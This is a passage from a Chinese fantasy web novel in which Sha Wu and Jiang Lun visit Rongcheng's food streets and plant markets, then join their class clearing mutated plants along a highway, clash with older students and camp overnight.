他不能跟着沙伍天天看乱七八糟的影视剧了。 黄喉貂压根没有那么复杂的感情。 它今天抓了一头半大的野猪，没吃完。 小飞车毕竟只是小飞车，有限的空间内挤进了两个人两只小动物，再摆了大半头野猪，显得十分拥挤。 还好距离不远，小飞车很快就到达目的地，把他们都放下之后，自己去清洗了。 沙伍的学习进度飞快，从半天挖一个宝箱就精疲力竭，到能连续挖两个，再到一天挖三个、四个。 他一边挖，姜纶就一边藏。 水里，土里，甚至是石头里，树里，没有姜纶想不到的地方。 一直到沙伍把全部十八个宝箱找出来，姜纶才把他抱起来，轻轻往上一抛：“沙伍，过去十八年新年快乐。” 沙伍的笑容一下就愣住了，鼻子一酸，下意识吸了一下：“可恶啊，就知道花言巧语。” 黄毛果然都不是好人，轻而易举就能把他骗得团团转，骗得越来越放不下。 算了，放不下就放不下吧，反正早就放不下了。《 》 65-70 第66章 榕城 姜纶送给沙伍的最后一个宝箱里，装着的是一颗指甲盖大小的粉红色心形螺珠，比起其它宝箱中的礼物，这颗螺珠显得有些寒酸。 “抱歉，我只能找到这个。”其它礼物都是他花钱买的，只有这一颗是他自己弄到的。 海螺速度慢，看到他也逃不掉。 他都不好意思说是打猎来的。 沙伍倒是很喜欢，啾了他一口：“这个很漂亮！” 姜纶见他喜欢就松了一口气。 他当然知道这么一颗螺珠很难得，但比起其它十七份礼物来，无论是观赏性还是价值方面都不能比。 但他实在很想送给沙伍自己亲手制作的东西作为礼物。 等他对异能的控制力再提升一些，他就自己勾异能链路，把这些晶核什么的，都给沙伍做成各种漂亮的小玩意儿。 寒假时间短，年过完之后，差不多就到开学的时间了。 返校前，沙伍和姜纶一起去了一趟榕城。 榕城如今属于朱雀城管辖范围，没有直达的航班。 他们想去，得先坐飞机到朱雀城，再从朱雀城转城际列车。 沙伍来之前，还以为榕城是个和东湖城差不多的小城市，没想到从城际列车下来后，就感觉到非常不一样。 “这里的环境真好啊。一点都没有高楼大厦的影子。”沙伍看着背山面海满目苍翠的城市，就觉得心旷神怡，完全没有在东湖城的压抑。 当然，东湖城其实也有类似的开阔的地平线，只不过都是农田，和这种自然风光很不一样。 周围全是山！ 绿的山！ 明明在后土城还天寒地冻，到榕城来已经春暖花开，甚至有点热。 姜纶一看他的样子，就知道：“不至于看到一座山就高兴吧？” “嘿嘿。就高兴。”他朝着姜纶歪了一下，贴贴。 这次他们没带别人，连小粉都没带。 姜纶不是很熟练地叫了一辆共享小飞车，载着沙伍满城转悠：“榕城的历史很悠久，大灾变前人口很多。” 说到这里，姜纶语塞。 比起他看到过的历史记录上的繁华的大都市，对比如今这座城市的规模，实在让人唏嘘。 小飞车停在一棵巨大的榕树下。 沙伍张开自己的泡泡把榕树包裹住，闭上眼睛专心感受。 姜纶拉住他的手，异能在两人之间流转，净化的异能中掺杂了水系和土系异能对于植物的滋养。 树叶发出沙沙的声响，像是普通的风吹过的声音，又像是有长辈在给予他们回应。 等他们从冥想中醒来，周围突然响起掌声。 不知道什么时候，他们周围已经里三层外三层围了好多人。 沙伍吓了一跳，转身被姜纶抱住，愣了一下才自己站定。 “哈哈哈，小哥的异能真好啊，那棵榕树都会作怪了！” 沙伍听着人们热情的话，大概明白是夸赞他们让榕树变精神了。 榕城内到处都是榕树。 其实榕树对人类的建筑物很不友好，长得也特别快。 沙伍和姜纶两人转了一路，随随便便就能看到房屋被榕树的根扎到开裂的情况。 当地人显然对这样的情况感到困扰，但也习以为常。 “长在房子上就让环卫局过来拔掉嘛。” “房子漏就补咯。” “这个榕树是净化异能植物，别的地方想要还没有呢。” “卖到外地去，不知道多受欢迎。” “来，拿好。” 老板给沙伍和姜纶递过来一个海蛎饼一个芋粿。 沙伍和姜纶交换着吃，没一会儿又坐下吃热芋泥和花生汤。 小飞车都用不到，隔几步就能看到美味的食物。 类似他们这样的游客有很多。 窄窄的不长的小街，游客们大多扶着肚子出去。 当地各种特色美食实在太多，根本吃不过来。 战斗力比较强的那些，都是异能者。 这种普通食物蕴含的能量对于异能者来说太少了，异能者的消化吸收速度很快，区区一条街而已，还达不到让他们吃趴下的地步。 本地的老板们也很喜欢这些异能者，就因为他们吃得多。 沙伍感觉自己和姜纶吃得还算克制，本地小吃价格不贵，等吃完一条街出去，随意扫了一眼手环上的扣款信息：“喔~厉害了。” 姜纶听他这么说，好奇凑过去：“吃了多少？” 刚才吃的那些东西，很多都是几块十几块一份，能吃多少？ 然后他看着累计的一千块出头的金额，跟着陷入沉思：“我们有吃那么多吗？” 他们很多东西都是两个人点了相互分着吃的，还有很多没吃全。 哦，对，没吃全。 一家店里买上三四样、五六样，吃到好吃的，再返回去多买点之类的。 可怕的是，他们这个还不算是正餐，只是正巧路过的一条平平无奇的闻着香香的小街，顺便进来，随便吃点。 榕城背山面海，气候温暖湿润，山珍海味非常多，出了名的美食天堂。 “大灾变后，榕城本地的农学院实力相当强，培育出来的各种变异食材都非常好吃。” 沙伍差点忘了姜纶还是个相当专业的农业爱好者：“那我们去榕城的花草市场？还是农资市场？” 在过去的一个学期，姜纶一次青龙学院的课都没上过，农学院倒是去了好几次。 他们这次过来是临时起意，并没有做什么规划，行程相当随意。 姜纶查了查地图：“最大的农资市场就在农学院边上，隔壁就是花草市场。” 去之前沙伍想的是，东湖城的农资市场也很大，培育的蔬菜水果也都非常好吃，榕城的可能差不多。 等到了之后，他才发现：“大意了。这怎么逛得完？” 什么农资市场、花草市场？ 跟两个大号瑞云实验室一样。 瑞云实验室也很离谱，名字太具有欺骗性。 姜纶的情绪高昂：“走！” 沙伍一看他这架势，先不管别的，把原本下午五点的车票改签到最晚晚上11点的：“好了，走！” 姜纶看到，呲牙在他脸颊上亲了一下：“谢谢小鲨鱼。”果然他才是小鲨鱼心目中永远的第一位。 沙伍对这些东西也很感兴趣，走到变异柠檬区，看到各式各样的变异柠檬就走不动道：“我们买这个！” 他仰头指着一棵已经是乔木模样的变异柠檬，上面最大的一颗变异柠檬起码有一平方米，不是橙红色，而是传统的柠檬黄色。 姜纶一看这棵变异柠檬的样子就知道：“青龙城的气候太冷了，这个品种应该不好种。” 老板一听：“你们是青龙城的啊。来，这边几个品种比较耐寒，适合青龙城那边的气候。这棵是新品种，果实的甜度很高哦，可以直接吃，口味酸甜，非常清爽。顶楼有用这款柠檬制作的菜，你们可以试试。” “成熟后会不会炸汁？”炸开爆汁，不是榨汁。 老板憨厚地笑笑：“哎呀，变异柠檬嘛，多多少少肯定会的啦。一般家庭种植这样一棵盆栽，摆在客厅多好看，气味也好闻。留意着成熟度，一般不会等到熟透的时候啦。” 如果只是种植一棵的话，柠檬确实不会同时成熟太多。 沙伍想到去年自己睡了两个多月的变异柠檬：“有没有早熟晚熟各种月份熟的品种？” “当然有！”老板给沙伍推荐了好几个别的品种，保证全年都有恰好熟度的柠檬。 沙伍买了一溜，留了地址让老板直接打包发快递。 东西不用自己拿着，根本感觉不到买了多少。 姜纶对各种榕城的新作物感兴趣，只是种子和种苗什么的，沙伍看不懂。 各种土壤、药剂什么的，沙伍就更加不懂了。 等沙伍拐到一个店铺订了一批茶树出来，姜纶身边已经围了几个人，手上拿着一株几十厘米长的苗子的叶子，在那儿讲各种沙伍完全听不懂的词汇。 他要不要去选修一个农学相关的学科？ 算了，水产养殖也是农学。 天啊，这棵茶花怎么这么好看！ 买！ 沙伍眼睛放光，干脆开了跟沙妈妈的视频，给她看各种花花草草。 沙妈妈果然也很喜欢，但是：“你买回家种哪里呢？” 家里虽说有个露台，但毕竟是在拥挤的居民区内，不适合种有异能的变异植物。 “种宿舍里。”沙伍突然觉得豁然开朗，“梁伯伯他们在盖一个新宿舍，大不了我再多清理出去一点地，反正那边是无人区，地多得是。沙妈妈，你看这棵三角梅，我的天！” 沙伍能够叫出名字的植物品种非常少。 老板们都很热情又耐心，给他讲解各种植物的名字和特性，又给他介绍适合青龙城种植的品种，在得知他有个露台想搞个小种植区，甚至给他搭配了种植方案，连土带盆带设计都给安排妥当。 “你把方案交给家政机器人，要是不放心的话，我这边联系个在青龙城的师傅过去帮你盯一下。” “那再好不过。”沙伍感觉自家的小机器人可能搞不太定这些复杂的家庭园艺布置，日常维护应该可以。 沙伍跟老板还在聊换季种植的各种事情，姜纶找过来：“小鲨鱼，还没好吗？” 沙伍一看时间：“好了好了。我们得去赶车了，老板拜拜。” 其实时间倒不是很赶，两人还来得及打包了一堆特色小吃带上。 从榕城到青龙城的列车晚上11点发车，早上4点到站。 沙伍定的是双人卧铺包厢，空间还可以，床也足够长，不至于放不下姜纶的大长腿。 只是隔音效果不太好，一晚上都有人在外面走来走去。 两个人都没休息好，回到宿舍睡下去没多久，一只小粉就跳上床，把沙伍砸醒。 “喵。” “咳。”沙伍看了一眼时间，瞬间从床上跳起来。 姜纶也跟着起床：“别这么着急，我们一起去。” 沙伍洗漱完，看姜纶还呆坐在床上，根本没有动弹一下的意思：“你继续睡吧。”反正姜纶逃课是常态。 说完，他唰一下冲到衣帽间换上校服，为了省事，甚至穿的是夏季校服。 “小粉！” “喵！” 一人一猫从窗台直接跳下去，在楼下拿上阿大递过来的早餐，顺便从小粉身上跳下来，换成飞板：“林大哥早，林大哥再见！” 小粉变成粉猫，蹲坐在沙伍的肩膀上，用两只前爪抱住他的脑袋。 路上他还拉了一把慢吞吞的海龟同学。 海龟同学振振有词：“我这是陆上正常速度。” “嗯。”沙伍一路看到好几个同学，“原来大家都踩点。” 海龟同学也顺着他的视线看过去：“这下我们可以不迟到了。” 小飞车在校园内的速度卡得很死。 宿舍楼距离教学楼近的高年级学长学姐，有时候情愿自己跑过去，也不愿意坐小飞车。 飞板就不一样了，没人卡速度。 当然，飞板对风系晶核的消耗大，玩得起的少。 海龟同学感觉说了没几句话，十号楼就到了：“飞板真爽！你这个头盔挺特别的，是有什么说法吗？” 沙伍收起飞板，转头疑惑：“头盔？我没戴头……哦，小粉啊。” 把下巴放在沙伍头顶的猫猫打了个哈欠：“喵。” 小粉猫，海龟同学是见过的，小小一团能够站在他手掌心里，眼前这辆半挂是什么？ “小粉？”海龟同学很是组织了一番语言，跟小粉说道，“小粉这个年过得不错。” 小粉眯了眯眼睛：“喵~” “嗯，叫声也好听多了。” 教室里已经坐了十来个人，看到他们进来，纷纷看过来：“这是小粉？” “哇！小粉你过年吃了什么好吃的了？” “每逢佳节胖三斤。” “胖三十斤！” “小粉抱抱~” 李老师撵着一批急吼吼跑进来的学生们进教室，看到一群人学生围着一只猫上下其手：“都坐好了！” 学生们纷纷落座，进入到正常的开学流程。 第一天也没什么事情要干，就是报个到。 等姜纶姗姗来迟的时候，沙伍已经准备回去了。 “这就完了？”姜纶走到沙伍身边，都没坐下去。 “完了。” 一个寒假没见面的同学们有很多话要说，三三两两聚在教室里聊天。 “姜纶、沙伍，我从老家带了些土特产过来，一会儿给你们送到宿舍去，还是明天上课的时候给你们？” “明天吧。我得回去再补个觉。”沙伍很困，一个哈欠接着一个哈欠，偏偏精神又很亢奋，“今天凌晨刚从榕城回来。榕城那里可太好玩了！” “我去过！得亏我胃口大，不然差点撑死在那儿！” “你是没去他们那儿的异能者专供餐厅吧？要撑死分分钟的事情。” “他们那边的笋是真好吃啊。从来没见过那么多品种的笋。” 一交流，班级里去过榕城的人真不少。 正当他们兴高采烈讨论的时候，李老师突然收到一条消息，刚准备走出去的脚步重新拐了回来，轻轻拍了一下讲台：“同学们安静。刚接到一条通知，现在组织去测试中心做一个异能检测，接下来安排临时任务，维护城际公路和铁路的安全带。” 刚才还嘻嘻哈哈的学生们瞬间安静下来，跟着海豚班长去做检测，检测完毕后，简单收拾了一下行李，就跟着李老师一起前往他们班级被分配到的路段。 春季是植物的快速生长期，各种在冬季蛰伏的动物也开始变得活跃。 虽说公路和铁路有人日常维护，但是在春季这种时候，人手永远不足。 这时候大学生就是很好的打杂人选。 “有什么是比大学生更好的廉价劳动力？” “错。我们不是廉价，是免费劳动力。” 班长把手上一条花里胡哨的变异蛇丢进泡泡里：“这种活不比军训时候轻松？为什么出门还得检测异能等级？” 他们班的整体水平差不多，都在一级上下徘徊。 在陆地上，他们的战斗力得打个很大的折扣。 海龟也想摆烂：“这不是算学分嘛。唉，让沙伍、花杨蓉、白虹三个人干得了。我们又不是净化系，来了也就是打打杂。” 班长对陆地活动同样兴趣不高：“我们抓点变异生物，总好过其他种树、拉石子的班级。” 天啊，他都不敢想挖坑的事情，这要是一不小心被绿化带植物拽进土里，得成堆肥。 绿化带植物首先考虑的是保护公路和铁路，很多都带有一定的攻击性，用来阻止一些变异生物侵入。 “啊，救命！” 听到声音，附近的人赶紧冲过去，果然就见一个同学半截身体入土（物理）了。 这些绿化带植物倒不一定很强，就是学生们战斗经验不足，猝不及防之下，很容易惊慌失措。 没过多久，这位同学就被救了出来，都不用带队老师出手。 在公路对面的沙伍分神看了一眼，很快就收回目光，尝试在自己的泡泡里混入土系异能。 打酱油的小丑鱼跑过去看热闹，过了一会儿才回来，看到沙伍的泡泡缩小到了十米半径：“沙伍，你没力气了？说起来午饭还没给我们送过来吗？怎么这段城际公路这么破，平时都没人维护的吗？” 虾同学维护绿化带边界，在陆地上消耗大量的异能，感觉自己快要变成虾干了，看小丑鱼格外不顺眼：“你要是没事，就给我们搞点水。” 沙伍太专心，根本没注意到小丑鱼的话。 他自己用吞噬异能转化成的土系异能，比起姜纶磅礴的土系异能简直像一点点灰尘。 好在那些埋藏在地底的变异植物种子很细小，要挖出来不像拱宝箱那么费劲。 用异能小鲨鱼炸的话，动静太大，容易损坏到路基。 沙伍已经在原地站了一会儿了，试着往前走了一步，土系异能把所过之处的异能植物种子、根须和幼苗一起弹出地表。 反正他所在的这块区域，理论上不应该有任何动植物，现在有的都是被鸟类或者别的原因带过来的。 小丑鱼猝不及防，感觉自己像是被扫射了一顿。 哪怕有膜挡着，他也下意识闭上眼睛，胡乱挥舞双手：“等等等等！怎么了怎么了？” 他下意识跟在沙伍身后，把飞溅出来的种子昆虫收进泡泡里，强大细腻的异能控制力支撑他有条不紊地分门别类。 跟他们隔了几米的虾同学一看，瞬间平衡了：“总算是给你找到点事情做了。” 小丑鱼对人类的异能极其敏锐，最初的慌乱过后，很快就知道沙伍的操作原理，叭叭跟虾同学说完，提议：“你试试？” 虾同学翻了个白眼：“你怎么不自己试试？” “我试试就逝世……试试！”小丑鱼永不服输！ “郑燕珺！来代个班！” 蓝鳍金枪鱼在陆地上的速度还是很快，一眨眼就过来，经过简单解说后，就接手了小丑鱼的工作：“得亏你把我叫来了，不然我都快睡着了。” 她收集变异生物就没有小丑鱼那么细心了，什么都一股脑装一起。 沙伍推进的速度不快，也就是正常走路，蓝鳍金枪鱼适应过后就开始想自己尝试：“说起来就是把异能转化成土系异能吧？我应该也能行？” “应该行。你可以把地底的变异生物都给清理出来，回头我们直接净化应该速度会高很多。”虾同学说话心平气和，又叫来了另外的几个同学。 小丑鱼一如既往掌握技能的速度飞快，只是他的“推土”半径更小，对于自然环境的净化能力明显偏弱，持续时间也短。 刚开始并不明显，等他异能耗尽累趴下的时候，抬头一看，沙伍已经看不到背影了。 海龟同学过来，递给他一个装满水的泡泡。 小丑鱼立马变成觉醒体，进去泡了起来。 李老师过来，惊讶他们的进度：“哟，都会用土系异能了？不错不错。都停停，吃饭了。” 吃饭也没什么讲究，路边随便一片空地上罩个泡泡过滤掉寒风就行。 没有座椅更没有桌子。 同学们从李老师那儿领了盒饭就盘腿坐在地上开始吃饭。 “学校食堂换大厨了？” “今天的饭菜好正常！” “对啊，饭是饭菜是菜的。”没有会笑会叫颜色诡异行动力还很强的……食物。 沙伍拿着写着自己名字的饭盒，打开都不用尝，一看就知道：“祁叔做的。” 忙了一上午的同学们已经半份饭下去了，等吃完才问：“姜纶人呢？我怎么依稀记得早上看到过他？又逃课了？” 沙伍还没回答，李老师就说道：“哦，他有另外的任务。” 十班的同学们下意识认为：“是不是开农机？工程车？”就跟他们军训时候一样？ 第67章 推土机 “没，他就是躲起来睡觉。”沙伍不给自己男朋友留面子，“待在这里，起到一个装饰的作用。” 其实是为了震慑。 他们一年十班分配的维护路段是高速公路，经过一段轻污染区，可能会存在一定的危险性。 老师们数量少，万一真的发生点什么事情，他们很可能照顾不到全部学生的安全。 加上八级寄生蘑菇事件发生没多久，有个九级……哪怕是半吊子九级在，安全性方面也更有保障。 沙伍吃完午餐，感觉又困又累，整个人都放空了：“我想去海里泡发。” “不至于不至于。”泡发什么的，还不至于干巴到这种程度。 “我们负责的路段怎么没有河？我不需要大海，给我一条河就行。”异能凝结出来的水没有灵魂。 李老师看着上午还很精神的学生们，这会儿全都无精打采，也能理解：“行了，就地休息到下午两点。接着工作到4点，就准备露营。” 班长挣扎着坐起来提问：“老师，我们没有带露营设备。” 李老师笑容和善：“放心，学校准备好了，下午会运过来。” 同学们看着李老师的笑容，纷纷产生不好的预感。 李老师没准备跟他们解释，哼着歌溜达到一边去休息。 孩子们是真省心啊。 本来他还以为得给他们上异能转化课，没想到自己就学会了。 果然孩子们作妖是因为作业太少，只要布置足够多的作业，都是好孩子嘛。 下午，好孩子们跟隔壁班打群架。 两位老师把两个班级的学生们分开，十分头痛：“来个人说明一下情况。” 两个班的学生都没讨到好，一个个都全身泥泞，暂时看不出什么伤，就是样子都挺狼狈的。 只是一个是一年级十班，一个是二年级三班。 本来一年级都被分配在铁路路段那里，但是检测下来十班的异能等级足够，就安排到了公路路段。 起因也很简单，二年级的几个大聪明发现一年级的“推土机”玩得很溜，但是异能经验毕竟很有限，注意力保持高度集中之下，关注不到其它事情。 然后大聪明就把标记给挪远了。 所谓标记，其实就是老师在地上划的一条线，告诉学生们自己班级负责的路段从哪里到哪里。 几个一年级的学生果然没注意到。 “他们把线擦了，划到了一公里外！”率先发现不对的还是小丑鱼，“我就说这段路怎么长得走不完！” 他的异能值天赋最低，最先耗光异能，休息的时候就觉得有点不太对，用手环自带的测量工具量了一遍。 这地方手环的信号约等于无，实时地图不能用。 二年三班的学生以为这些一年级学生不会发现，或者说不会这么快发现，没想到不到一个小时就被发现了。 他们还想着就算后续发现了也没什么，顶多就是写个检讨，他们该占的便宜也占了，一群一年级的还能拿他们怎么样？ 没想到大家的异能消耗的都差不多了，身体素质方面，只能说不愧是十班，一群变态！ 因为挨了揍，二年级的学生们还觉得很委屈。 二年三班的班导严老师头疼：“去跟学弟学妹们道歉！” 李老师突然有一种久违的站直腰杆的理直气壮，看着磨磨唧唧心有不甘的二年三班学生们，内心无比舒爽：“哎呀，不用这么严厉，看看他们让我们班多干了多少活，让他们翻倍返还就行了。” 他很好商量的。 “凭什么翻倍！”二年三班的学生们瞬间跳脚！ 尤其是几个根本不知情的学生：“是他们几个自作主张，我们什么都不知道！” “对，让他们自己去道歉！” 他们本本分分干自己的活，谁能想到有人在背后搞事情。 他们什么都没做错，凭什么要跟着一起道歉？ 严老师瞬间怒火上涨，七级异能战士的压迫力让跳脚的学生们瞬间噤声：“我说，道歉。上了战场你们就是一个完整的集体，功过都要一起承担！” 瑟瑟发抖的学生们心不甘情不愿地道歉：“对不起。” “赔礼就照着李老师说的办。我会给你们重新划定区域。”他就不该上班走神，实在是看到路边鲜嫩的野菜忍不住打野，“那位同学，你可以把我们班的学生放下来了吗？” 一个人远远站着在放空的沙伍，过了好一会儿才意识到在跟自己说话，然后注意到自己的异能鲨鱼咬着两个人，赶紧把人放下，解释：“我没有吃学长的意思！” 他只是净化，看他给学长们套了净化泡泡。 绝对没有把学长们关起来的意思。 打架打出真火，以致于产生一点污染的学长们：“……” 被揍了一顿，还得给打自己的人道谢！ 好气！ 沙伍全程走神：“……” 被一双无神的黑洞洞的眼睛死死盯着的学长们：“对、对不起！” “谢谢学弟！” 沙伍：“啊。” 学长们：这算是接受了还是没接受？ 谁不知道一年级有个喜欢逮着人就咬的大白鲨？ 他们中奖了，可真、幸、运啊！ 姜纶只要自家小鲨鱼没吃亏就不会动手，这会儿才过来把沙伍往回带：“小鲨鱼真乖~” 别人都是灰头土脸，就他们两个干干净净十指交握。 有人嘀咕：“怎么跟演校园偶像剧似的？” 海豚班长拍拍手：“走了，回去了。” 在陆地上打架，对他们水产还是太吃亏了。 其他班级的人虽然也是水产，但没有他们十班水产得这么彻底，还是占有一定优势。 他们必须总结经验教训，争取下次一个照面就把人摁住！ 原本准备用在工作上的异能全都耗光，李老师也不强求工作进度，正好露营用的活动板房来了，开始指导他们怎么快速搭建临时营地。 沙伍也回过神来，听老师讲解，然后发现这种活动板房很像他在龙丘用的房车版小飞车。 同样能够拓展出很大的面积，具有基本的生活设施功能，移动速度不慢，灵活度很高。 当然，这些活动板房的设施真的很基础，看得出来是很老旧的型号。 “你们以后在野外遇到的临时营地或者猎人小屋，大概率就是这种活动板房。有条件的战斗小队会有一定数量的配备。这两天你们就当是提前适应一下。”李老师在让每个学生都亲自操作一遍后，告诉他们这些活动板房需要注意的事项，如何检测储备的晶核，以及一些日常维护。 这是很重要的知识，不算复杂，但每个人都要求一定要会，上课一直上到下午四点，然后学生们被要求自己搞定晚餐的一部分食材。 学生们都懵了：“老师，这里没水。” 他们的异能都得通过大量冥想时间恢复，大概率洗澡水都弄不出来，让他们一群裹着泥的鱼在陆地上找吃的，咋想的？ 他们还不如直接把自己烤了，吃叫花鱼。 李老师振振有词：“你们得适应在各种环境中作战。以后大三或者大四，你们还得去西部沙漠实习。” 虾同学满脸绝望：“感觉我已经是虾干了。” 这时候姜纶终于作为十班的一员站了出来：“我认识一些野外可食用的植物。” 对于姜纶在植物上的水平，十班全班都是认可的，瞬间松了一口气，在姜纶的带领下，找到很多鲜嫩的野菜。 另外有一些不是纯野菜：“这些应该是普通蔬菜一代代长出来的。” 大灾变以前人类活动的痕迹，在这一刻跟他们联系到了一起。 同学们还从之前“推土”出来的变异动植物中，找出可食用的部分。 只是大部分同学做不到像小丑鱼那样细的分类，导致各种东西都缠绕在一块儿。 “反正我不吃这些。” “我也不吃。比食堂还抽象。” 李老师看他们走入轻度污染区，想了想没提醒。 沙伍的泡泡自带食品净化器功能，问题不大。 严老师过来，脸上一点都看不出刚才教训班级学生的严厉，兴高采烈：“看，我挖了好多荠菜。这种长在净化植物下面的野荠菜又香又嫩，晚上我们包饺子吃。” “行啊，那我去买别的配料。”李老师说着，坐上飞车去采购，正好回来的时候带上晚餐。 学生们今天的晚餐不能再由姜家提供了，野外实习呢，哪有吃这么好的？ “去吧，我帮你看着你们家小孩儿。” “行，你多看着点。”李老师摸了摸胸口，总觉得心脏突突地跳，“他们异能已经耗光了，应该没力气整幺蛾子了。” 算了，快去快回。 沙伍他们确实没闹幺蛾子，都在跟着姜老师学习野外常见动植物。 没错，动物。 他们抓到了几只长着獠牙的变异兔子，又发现了一群野生变异大鹅，黑色的。 “这一只得多少肉啊！” “营地的厨房机器可以做卤味。我想吃卤鹅脖子！” “那卤鹅掌就由我笑纳了。” “我吃鹅肉。卤的炖的红烧的我都不挑。” “你们赶紧把鹅杀了，我想进湖里泡泡。” “没想到这么近的距离就有这么大一座湖。” 平均身高超过两米，数量超过20只的变异大鹅，睥睨地看着这群闯入他们地盘的渺小人类。 “我异能没了，交给你们了，我先下去泡泡。” “我也是。” 几名略有余力的S级天赋值同学们面面相觑，又仰头看向高大巍鹅，吞了吞口水：“认真的？” 此情此景，沙伍也不敢莽，躲到姜纶背后，戳他后背：“你上！” 姜纶没拒绝：“好啊，我上。” 班长他们听得脸色发白：“别啊！”难道姜纶真的有异能？ 再怎么有异能也和他们一样是一年级，还能单挑这一群高大巍鹅？ 眼看着他们就要被大鹅碾压，这群大鹅突然翅膀一张，直接飞走了。 “嘎？”班长张大嘴巴，无比吃惊。 “不是，它们为什么跑？” 姜纶把拿出来的抄网递给沙伍：“要不还是你来？” 沙伍差点忘记了他对生物的驱赶作用，接过抄网看了看，丢还给他：“我还是下河自己捞。” 湖泊的面积不算小，关键是没有地方可以跑，同学们收获了一些鱼。 “没有鹅肉，好歹也是肉。” “反正我们蔬菜多，看看能不能跟其他班级换点肉。” “二年级的也就这样，说不定他们还没我们找到的肉多。” “三班不行，不代表其他班级不行。起码对二年级十班的学长学姐有些期待？” 期待是可以有的，二年级十班的学生们抓到了一头变异狍子，体重非常巨大。 “我们可以分出一条腿给你们，交换你们一半的蔬菜。” 鲤鱼一脸精明：“别啊，学长。你这么说就没意思了。我们找到的可不只是野菜，还有很多正常蔬菜哦，都是净化好的哦~” “学长，你们的食材要是有污染，我们也可以帮忙净化的哦~” “真的，我们净化比食品净化器还干净哦~” 学长不买账：“我们抓到的狍子是三级。一条腿就有五十来斤了。” 鲤鱼眼睛一眯：“我们知道一批变异鹅的消息。” 学长：“一条后腿加四分之一扇排骨。” 鲤鱼：“超过20只，体重目测每只都在20公斤以上。” 学长咬牙：“一条后腿加半扇排骨。” “不行，直接给我们一半。” “行！” 等李老师紧赶慢赶回来的时候，自家营地竟然一片岁月静好，还散发着浓郁的咖喱香气。 “李老师回来了，来吃咖喱吗？” “李老师你有没有带水果？” “李老师，有没有香茅草柠檬鱼露辣椒？厨房机器可以做东南亚风的鱼，但是没调料。” “李老师，明天的伙食是全部我们自己解决还是我们自己只负责一部分？” “李老师……” 李老师头疼，但总算没有什么意外，又觉得他们不会这么安分，端着学生盛给他的咖喱饭，心神恍惚：我的学生不可能这么风平浪静。 一直到他把饭吃完，真就没发生什么事情。 “老李，你来一下。” 李老师现在看到其他班级的班导都心里面咯噔一下：“于师姐。” 这是二年十班的班导。 于老师微笑：“别这么紧张，叫你一起吃饭。小孩子们搞的那些东西吃不饱吧？我这边发现了一些还不错的。” “什么？” “一群变异鹅。学生们经验不足，以为是一级二级的，其实其中有好几只三级，领头的有两只五级。” “距离营地很近？”不近的话，学生们应该找不到。 “不算远。”于老师把一年十班和二年十班的交易简单说了一遍，完全没有责怪的意思，“那群小家伙早就该受点教训，不然总以为自己有多厉害。” 每年的十班都是一群“祖宗”。 “一会儿你带一只一级的变异鹅回去。” “好。” 一年十班的学生们吃完晚饭，用恢复了一点的水系异能洗漱。 他们之前就检查过了，活动板房的水系晶核能量不足，想洗澡只能靠自己。 沙伍倒是没跟他们挤。 姜纶强烈要求和沙伍住单独的活动板房，外观看上去和其他人的差不多，内部设施也确实没有什么出格的地方，顶多就是上下床变成了双人床。 洗澡水依旧需要自己用异能。 沙伍给自己用泡泡做了个浴缸，变成鲨鱼在里面翻肚皮。 “我想睡在泡泡里。” 姜纶倒是不强求，但是：“我猜，晚上会有夜袭。我们最好安排人值夜。” 快要睡着的小鲨鱼，黑眼珠子里满是错愕：“不会吧？” “会的。”姜纶给出特别具有说服力的证据，“我是校董，是未来的院长。” 沙伍立刻从泡泡里跳出来，换上了干净的作战服，跑去找班长商量。 班长用一种英雄所见略同的眼神看向他：“我刚才就在说这个事情。李老师肯定不会这么简单放过我们的。他们坏心眼一大把。” 说着，他把同学们都叫过来，然后把草拟的排班表投屏出来，“根据我们的进度，大概需要停留五个晚上，我安排了一下守夜的人员，看看有没有异议。” 很快有人提出异议：“沙伍为什么不用守夜？” 班长说道：“他工作量大，身体还不好。” 沙伍的工作量确实大，一个人能顶三个人的活，加上还是唯三能当净化者用的，想想再让他守夜确实不合理。 同学们接受这样的说法，关心地问沙伍：“你身体还没养好？” “已经好很多了。”过年蹭到了一波鸦鸦晋升九级的异能滋养，加上鸦鸦本身的太阳神鸟对于生命的特殊加成，感觉身体修复速度一下往前拉了一大截。 平时冥想的时候，星空中的各种漏洞小漩涡减弱了很多，只是目前肯定还谈不上治愈。 想想他已经蹭了三波升级大福利了，才恢复到这种程度。 世界上哪来那么多晋升八级九级的大礼包能让他蹭？ 果然还是得靠双修？ 同学们对于沙伍的身体情况不太清楚，但看他瘦巴巴的样子就知道不健康。 觉醒体差不多体长，看看宽吻海豚和蓝鳍金枪鱼是什么样子，再看看沙伍，简直不好意思说是大白鲨。 排班表通过。 同学们累了一天，没精力再聊天，都准备去休息了。 沙伍拉着姜纶穿过了绿化带。 有人看到：“沙伍不累吗？” “谈恋爱就是一种充能。” 沙伍拉着姜纶并不是谈恋爱，而是双修：“跟在榕城时候那样再来一遍。” “好啊。”姜纶顺应他的要求，在小小的泡泡里融入自己的土系异能。 充沛的土系能量让沙伍对于土壤的感知更加敏锐。 土壤里有水分，这是常识。 如果他能把水系异能和土系异能融合起来，甚至融合进木系异能，那清除土壤里的变异植物不是会更加方便吗？ 理论应该是没错，问题是做不到。 他对异能的控制力做不到这么细致。 姜纶看他退出双修状态，提议：“要不我们一起试试？” “你不逃课了？” “好歹我也修一点学分。”姜纶拉着他重新穿过绿化带。 刚才他们穿过去的时候，营地里还有很多人在活动，这会儿除了守夜的一组同学，整个营地已经安静下来。 看到他们走远，守夜的同学提醒：“别走太远啊！” “知道！”沙伍摆了摆手，跟姜纶像是逛街一样走到营地外，沿着还没被清理过的地面张开泡泡。 姜纶的土系异能融合进来。 沙伍往前走了一步，走不动。 姜纶的土系异能太“沉”了，他的异能太弱，根本没法控制：“你来？” 姜纶显然也察觉到了这个问题：“不行，我控制不了这么细致。我来的话，直接把整条路掀飞。” “那你减少一点。” “现在已经很少了。” 沙伍嘀嘀咕咕：“我就说现在的异能等级划分不科学，只考虑百分比，不考虑异能值的总量大小。”说着，他把自己的泡泡扩大，再扩大。 这一下惊动了李老师。 他飞过来查看：“你们不睡觉在外面干嘛呢？” 沙伍理直气壮：“学习呢。” “老师你让开点，我跟小鲨鱼双修。” 李老师刚察觉到浑厚的土系异能，就听到姜纶的话，嘴角抽搐：“双修？” 他练到七级，还没听说过什么双修！ 这群小孩儿脑子里想的都是什么？ 真当异能者就没夫妻是吧？ 他退开一段距离，嘀咕：“我就看你们怎么双修。”真以为把双方的异能放一块儿不爆炸，就能威力加倍了？ 然后他就看到原本一个规整的球形的泡泡，变成了鲨鱼形状，又慢慢变成长方体，再慢慢沉入地底。 